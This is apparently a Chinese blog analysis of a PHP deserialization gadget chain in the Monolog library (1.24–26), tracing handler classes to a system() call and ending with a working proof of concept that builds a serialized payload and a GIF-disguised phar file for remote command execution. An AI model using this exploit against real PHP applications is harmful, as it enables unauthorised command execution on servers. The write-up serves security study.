monolog1.24-26反序列化分析

首先是说明,github上面的phpggc项目中的反序列化利用链,多数只是起到学习的作用,

基本无法应用在实战环境中

此利用连是接上篇fastadmin二开的cms中的反序列化的一次构造

命令执行

构造POP

这个第三方库的入口点在一个抽象类中

所以继承自此类的子类,全都可以作为入口

当然BuffeerHandler除外,因为它本身存在析构方法,且未做任何实质化的操作

1616381231355

接下来需要寻找的是,继承此类,并且存在close方法的子类

找到一处FingersCrossedHandler

1616381318174

跟进flushBuffer方法

可以看到,变量都是可控的,就是buffer经过array_filter的过滤导致,必须是一个数组,且存在键值为level的值大于一个可控数

1616381494119

我们去在线测试一下这段代码

这里必须要提的一点就是,array_filter方法提供的第一个参数需要是一个数组

所以这里需要提供一个二维数组

1616382035664

继续跟进一个handleBatch方法

此方法可以直接调用任意类的任意方法,并对传入的二维数组,进行了一次降维操作

1616382067500

要想达到命令执行的效果,需要对一维数组再次进行降维

再次发现,它的子类,同样存在一个一摸一样的方法

1616382179411

至此可以完成命令执行

编写POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
<?php
namespace Monolog\Handler{
abstract class AbstractHandler{

}
class FingersCrossedHandler extends AbstractHandler{
protected $passthruLevel;
protected $handler;
protected $buffer;
public function __construct(){
$this->passthruLevel = 1;
$this->handler = new GroupHandler();
$this->buffer = [["dir","level"=>"2"]];
}
}
class GroupHandler{
protected $processors;
public function __construct(){
$this->processors = [[new WhatFailureGroupHandler(), 'handleBatch']];
}
}
class WhatFailureGroupHandler{
protected $processors;
public function __construct(){
$this->processors = ['system'];
}
}
}
namespace{
use Monolog\Handler\FingersCrossedHandler;
$exception = new FingersCrossedHandler();
echo base64_encode(serialize($exception));
unlink("test.phar");
$phar = new Phar("test.phar");
$phar->startBuffering();
$phar->setStub("GIF89a<?php__HALT_COMPILER(); ?>");
$phar->setMetadata($exception);
$phar->addFromString("test.txt", "test");
$phar->stopBuffering();
}
?>

执行结果

1616383229991